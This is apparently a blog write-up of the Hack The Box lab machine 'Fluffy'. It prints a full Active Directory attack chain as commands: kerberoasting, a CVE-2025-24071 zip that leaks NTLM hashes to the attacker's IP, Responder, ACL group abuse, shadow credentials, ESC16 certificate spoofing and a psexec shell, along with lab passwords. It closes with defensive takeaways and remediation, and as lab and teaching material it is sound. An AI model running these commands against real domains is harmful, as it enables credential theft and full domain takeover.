Hacking Insights by Max Bautista

Fluffy writeup

Fluffy writeup

Box name: Fluffy

Difficulty: Easy

OS: Windows

Overview: Fluffy is an easy-difficulty Windows machine designed around an assumed breach scenario, where credentials for a low-privileged user are provided. By exploiting CVE-2025-24071, the credentials of another low-privileged user can be obtained. Further enumeration reveals the existence of ACLs over the winrm_svc and ca_svc accounts. WinRM can then be used to log in to the target using the winrc_svc account. Exploitation of an Active Directory Certificate service (ESC16) using the ca_svc account is required to obtain access to the Administrator account.

Link: https://app.hackthebox.com/machines/Fluffy?tab=play_machine

Machine IP: 10.129.232.88

We are given credentials to start: As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account: j.fleischman / J0elTHEM4n1990!

Ran rustscan against the machine.

rustscan -a 10.129.232.88 –ulimit 5000 -b 500 — -A -Pn

This is clearly a domain machine. From the scan I got the domain name and added that to /etc/hosts. I tried kerberoasting but had an issue with the clock so I synced clock with the DC.

sudo timedatectl set-ntp false

sudo ntpdate 10.129.232.88

Reran kerberoast

sudo impacket-GetUserSPNs -dc-ip 10.129.232.88 FLUFFY.htb/j.fleischman -request

We get information back on 3 users ca_svc, ldap_svc and winrm_svc. Saved those hashes and ran hashcat against them.

hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

Unfortunately that didn’t crack anything but we can keep note of those accounts. I’ve been learning more of bloodhound so let’s just go directly to that. Started bloodhound and ingested data.

sudo bloodhound-start

sudo bloodhound-python -d fluffy.htb -u j.fleischman -p ‘J0elTHEM4n1990!’ -ns 10.129.232.88 -c all

I put our current user as owned but I’m not seeing anything right away. Check smb shared with smbmap and it looks like we have access to a drive called IT.

smbmap -u j.fleischman -p ‘J0elTHEM4n1990!’ -d fluffy.htb -H 10.129.232.88

Connected to the directory with smbclient.

smbclient //10.129.232.88/IT -U j.fleischman

Downloaded all of those. Opened the PDF and it looks like it’s a report of recent vulnerabilities.

I was doing research of the CVEs listed and came across https://github.com/ThemeHackers/CVE-2025-24071/blob/main/exploit.py. We can write to IT as we saw earlier. Used this to create an exploit.zip. 

python3 exploit.py -i 10.10.16.27 -f test

Dropped it to the IT folder.

smbclient //10.129.232.88/IT -U j.fleischman

put exploit.zip

Ran responder.

sudo responder -I tun0 -v 

And we got a hash from a p.agila user.

This is an NTLMv2 hash. Saved it as hash.txt and ran hashcat against it.

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

P.agila:prometheusx-303

With smb we have no new additional access. Going back to bloodhound we see that p.agila is in the service account managers and service account groups that have GenericAll over the service accounts group. It also looks like the CA_SVC account we saw earlier is high privilege.

So first we will add ourself to the service accounts group so we can get the GenericWrite over CA_SVC.

net rpc group addmem “Service Accounts” “p.agila” -U “fluffy.htb”/”p.agila”%”prometheusx-303” -S 10.129.232.88

Now lets do a shadow credentials attack on ca_svc as we have Generic wrote over it.

python3 pywhisker.py -d “fluffy.htb” -u “p.agila” -p “prometheusx-303” –target “ca_svc” –action “add”

Lets turn this into a TGT.

python3 gettgtpkinit.py -cert-pfx /home/kami/Fknhack/pywhisker/pywhisker/2gI7GJrD.pfx -pfx-pass ‘iTyAdSngwWFPSUVq9Qhf’ fluffy.htb/ca_svc ca_svc.ccache

export KRB5CCNAME=/home/kami/Fknhack/PKINITtools/ca_svc.ccache

Now we can successfully use certipy to do AD CS enumeration.

certipy find -k -no-pass -dc-ip 10.129.232.88 -target dc01.fluffy.htb -vulnerable

We can exploit ESC16- to spoof the UPN and get a cert as Administrator.

certipy account update -k -no-pass -dc-ip 10.129.232.88 -target dc01.fluffy.htb -user ca_svc -upn administrator

Request the certificate.

certipy req -k -no-pass -dc-ip 10.129.232.88 -dc-host dc01.fluffy.htb -target dc01.fluffy.htb -ca fluffy-DC01-CA -template User

certipy account update -k -no-pass -dc-ip 10.129.232.88 -target dc01.fluffy.htb -user ca_svc -upn ca_svc@fluffy.htb

python3 gettgtpkinit.py -cert-pfx ~/Fknhack/administrator.pfx fluffy.htb/administrator administrator.ccache

export KRB5CCNAME=~/Fknhack/PKINITtools/administrator.ccache

And we can try getting a shell.

impacket-psexec -k -no-pass administrator@dc01.fluffy.htb

Grabbed user.txt which was actually in winrm_svc.

And grabbed root.txt

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified a domain-joined Windows machine. Retrieved the domain name from the scan and added it to /etc/hosts. Synced the system clock with the domain controller to avoid Kerberos time skew errors. Ran Kerberoasting with the provided credentials and received TGS hashes for ca_svc, ldap_svc, and winrm_svc. Hashcat failed to crack any of them with rockyou. Ran BloodHound for AD path visualization and checked SMB shares, finding a writable IT share.

sudo ntpdate 10.129.232.88 impacket-GetUserSPNs -dc-ip 10.129.232.88 FLUFFY.htb/j.fleischman -request smbmap -u j.fleischman -p ‘J0elTHEM4n1990!’ -d fluffy.htb -H 10.129.232.88

2 – NTLM hash capture via CVE-2025-24071 Downloaded files from the IT share and found a PDF report listing recent CVEs including CVE-2025-24071. Researched the CVE and found a public exploit that creates a malicious zip file triggering NTLM authentication when browsed. Created the exploit zip and uploaded it to the writable IT share. Set up Responder and captured the NTLMv2 hash for p.agila when the file was accessed. Cracked the hash with Hashcat using rockyou.

python3 exploit.py -i 10.10.16.27 -f test sudo responder -I tun0 -v hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Credentials recovered: p.agila:prometheusx-303

3 – ACL abuse to gain GenericWrite over ca_svc BloodHound showed p.agila was in the Service Account Managers group which had GenericAll over the Service Accounts group. Added p.agila to the Service Accounts group to inherit GenericWrite over ca_svc.

net rpc group addmem “Service Accounts” “p.agila” -U “fluffy.htb”/”p.agila”%”prometheusx-303” -S 10.129.232.88

4 – Shadow credentials attack on ca_svc Used pywhisker to perform a shadow credentials attack against ca_svc via the GenericWrite permission, adding a key credential to the account. Used gettgtpkinit to request a TGT using the generated certificate, obtaining a Kerberos ticket for ca_svc.

python3 pywhisker.py -d “fluffy.htb” -u “p.agila” -p “prometheusx-303” –target “ca_svc” –action “add” python3 gettgtpkinit.py -cert-pfx 2gI7GJrD.pfx -pfx-pass ‘iTyAdSngwWFPSUVq9Qhf’ fluffy.htb/ca_svc ca_svc.ccache

5 – ESC16 AD CS abuse to impersonate Administrator Used certipy to enumerate AD CS and identified the ESC16 misconfiguration. Updated ca_svc’s UPN to administrator to spoof the identity, requested a certificate as administrator using the CA template, then reset ca_svc’s UPN back to avoid detection. Used gettgtpkinit with the administrator certificate to obtain a TGT as Administrator. Used psexec with the Kerberos ticket to get a SYSTEM shell. Retrieved user.txt from winrm_svc’s directory and root.txt from Administrator.

certipy account update -k -no-pass -dc-ip 10.129.232.88 -target dc01.fluffy.htb -user ca_svc -upn administrator certipy req -k -no-pass -dc-ip 10.129.232.88 -ca fluffy-DC01-CA -template User impacket-psexec -k -no-pass administrator@dc01.fluffy.htb

Key Takeaways

  1. CVE-2025-24071 NTLM hash capture via writable SMB share – A writable SMB share allowed placement of a malicious zip file that triggered NTLM authentication when browsed, leaking p.agila’s NTLMv2 hash. SMB shares must enforce the minimum required write permissions and all shares must be monitored for new file creation. Outbound SMB connections from workstations must be blocked at the perimeter to prevent NTLM hash relay and capture attacks.
  2. Weak password crackable with rockyou – P.agila’s NTLMv2 hash was cracked using the rockyou wordlist. All domain user passwords must meet complexity requirements that resist offline cracking. A crackable NTLMv2 hash represents a critical finding when NTLM capture is possible.
  3. Excessive group membership enabling ACL privilege escalation chain – P.agila’s membership in Service Account Managers granted GenericAll over the Service Accounts group, which in turn provided GenericWrite over ca_svc. This chained ACL path led to full domain compromise. AD ACLs must be audited regularly with BloodHound and nested group permissions must be reviewed for transitive privilege escalation paths.
  4. Shadow credentials attack enabled by GenericWrite on a CA service account – GenericWrite over ca_svc allowed adding a key credential and obtaining a Kerberos ticket without knowing the account’s password. Service accounts holding CA-related functions must be treated as tier-0 assets and GenericWrite permissions on these accounts must be restricted to dedicated privileged administrators only.
  5. ESC16 AD CS misconfiguration enabling Administrator impersonation – The CA template was misconfigured allowing UPN modification to spoof any domain user including Administrator, enabling certificate-based authentication as the domain admin. AD CS configurations must be regularly audited with certipy and all certificate templates must be reviewed for ESC misconfigurations. The CA service account must not be modifiable by any non-tier-0 account.

Remediation

[Immediate] Block outbound SMB and restrict writable share access Block outbound SMB connections on ports 445 and 139 at the network perimeter and host firewall to prevent NTLM hash capture via Responder. Restrict write access on the IT share to only the accounts with an explicit operational requirement and audit all share permissions. Monitor SMB shares for creation of .zip, .url, .lnk, and .scf files and alert immediately.

[Immediate] Remediate CVE-2025-24071 Apply the Microsoft patch for CVE-2025-24071 across all affected systems. Until patching is complete, disable automatic preview of zip and archive files in Windows Explorer and restrict NTLM authentication using Group Policy to reduce the attack surface.

[Immediate] Audit and remove excessive AD ACL permissions Run BloodHound and audit all ACL chains from standard user accounts to service accounts. Remove p.agila’s GenericAll membership chain to ca_svc immediately. Establish a recurring ACL audit process and alert on any new ACE assignments granting GenericAll, GenericWrite, or WriteDACL on service or CA accounts.

[Immediate] Remediate the ESC16 AD CS misconfiguration Run certipy across all certificate templates and remediate all ESC misconfigurations immediately. Restrict UPN modification on CA service accounts to tier-0 administrators only. Implement CA template access controls requiring manager approval for any certificate request involving high-privilege account identities.

[Immediate] Rotate all affected credentials Rotate p.agila, ca_svc, and the Administrator account credentials immediately. Invalidate all Kerberos tickets derived from the compromised ca_svc certificate. Audit all accounts for reuse of the prometheusx-303 password.

[Long-term] Implement tiered AD administration and continuous AD CS monitoring Adopt a tiered AD model treating CA service accounts as tier-0 assets alongside domain controllers. Deploy BloodHound continuously to monitor for new ACL attack paths. Run regular certipy scans to detect new AD CS misconfigurations. Include ESC vulnerability classes and shadow credentials attacks in the regular penetration testing scope.

Leave a comment